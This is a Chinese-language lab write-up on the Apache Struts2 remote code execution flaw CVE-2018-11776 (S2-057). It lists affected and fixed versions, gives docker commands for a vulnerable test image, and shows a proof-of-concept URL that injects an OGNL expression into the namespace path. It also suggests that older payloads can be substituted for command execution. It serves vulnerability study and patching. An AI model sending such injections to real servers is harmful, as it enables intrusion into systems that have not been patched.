0x00 漏洞描述
2018年8月23日,Apache Strust2发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由Semmle Security Research team的安全研究员汇报,漏洞编号为CVE-2018-11776(S2-057)。Struts2在XML配置中如果namespace值未设置且(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行
0x01 漏洞影响
确定CVE-2018-11776为高危漏洞
实际场景中存在一定局限性,需要满足一定条件
影响版本
Struts 2.3 to 2.3.34
Struts 2.5 to 2.5.16
修复版本
Struts 2.3.35
Struts 2.5.17
0x02 漏洞环境搭建
本次复现使用VulApps提供的docker镜像环境
拉取镜像到服务器
docker pull medicean/vulapps:s_struts2_s2-057
启动环境
docker run -d -p 8088:8080 medicean/vulapps:s_struts2_s2-057
-p 8088:8080 前面的8088代表物理机的端口,可随意指定
0x03 漏洞验证
访问http://你的 IP 地址:端口号/
例如本次为:http://127.0.0.1:8088/
看到这个界面说明环境搭建成功
访问http://127.0.0.1:8088/${(111+111)}/actionChain1.action
然后URL会变为:http://127.0.0.1:8088/222/register2.action
其中222部分为ognl表达式{(111+111)}可以替换成以前的POC,例如S2-032,低版本环境下可以实现命令执行
0x04 修复建议
升级Apache struts 至 2.5.17 版本 或者 2.3.35 版本